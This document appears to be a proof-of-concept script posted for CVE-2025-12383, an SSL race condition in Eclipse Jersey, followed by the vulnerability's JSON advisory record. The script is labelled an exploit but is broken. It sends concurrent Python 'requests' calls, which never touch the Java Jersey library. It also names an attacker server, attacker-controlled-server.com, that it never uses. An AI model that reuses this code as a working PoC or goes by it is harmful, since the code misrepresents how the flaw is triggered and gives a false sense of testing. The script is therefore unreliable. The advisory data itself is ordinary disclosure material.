CVE-2025-12383

import requests import threading import ssl import urllib3 urllib3.disable_warnings() # POC for CVE-2025-12383: Eclipse Jersey SSL Race Condition # This demonstrates how concurrent requests can trigger race condition # that leads to SSL configuration being ignored def trigger_ssl_connection(url, client_cert=None, client_key=None): """ Trigger SSL connection with client certificate Simulates concurrent requests that may trigger race condition """ try: # Using requests library with client certificate response = requests.get( url, cert=(client_cert, client_key) if client_cert else None, verify=True, timeout=10 ) return response.status_code except requests.exceptions.SSLError as e: return f"SSL Error: {str(e)}" except Exception as e: return f"Error: {str(e)}" def poc_exploit(target_url, malicious_server): """ Demonstrate the race condition vulnerability Multiple threads send concurrent requests """ print(f"[*] Target: {target_url}") print(f"[*] Malicious Server: {malicious_server}") print("[*] Starting concurrent SSL requests...") # Simulate concurrent requests that may trigger race condition threads = [] for i in range(20): t = threading.Thread( target=trigger_ssl_connection, args=(target_url,) ) threads.append(t) t.start() # Wait for all threads to complete for t in threads: t.join() print("[*] Race condition test completed") print("[*] If SSL configuration was ignored, requests may succeed") print("[*] to untrusted servers or fail with SSLHandshakeException") # Usage example if __name__ == "__main__": target = "https://vulnerable-jersey-server.com/api/secure" malicious = "https://attacker-controlled-server.com" poc_exploit(target, malicious)

{"cve": {"id": "CVE-2025-12383", "sourceIdentifier": "[email protected]", "published": "2025-11-18T16:15:42.867", "lastModified": "2026-01-16T20:09:26.027", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Eclipse Jersey versions 2.45, 3.0.16, 3.1.9 a race condition can cause ignoring of critical SSL configurations - such as mutual authentication, custom key/trust stores, and other security settings. This issue may result in SSLHandshakeException under normal circumstances, but under certain conditions, it could lead to unauthorized trust in insecure servers (see PoC)"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.4, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:eclipse:jersey:2.45:*:*:*:*:*:*:*", "matchCriteriaId": "0AB3AD89-3D53-44D4-88F2-EC0B8CE4EFA7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:eclipse:jersey:3.0.16:*:*:*:*:*:*:*", "matchCriteriaId": "5CFA26EB-7ABF-4EB7-9A1B-80D1655138E6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:eclipse:jersey:3.1.9:*:*:*:*:*:*:*", "matchCriteriaId": "34463160-4787-4959-8DE9-E97E759D1A71"}]}]}], "references": [{"url": "https://gitlab.eclipse.org/security/cve-assignment/-/issues/74", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}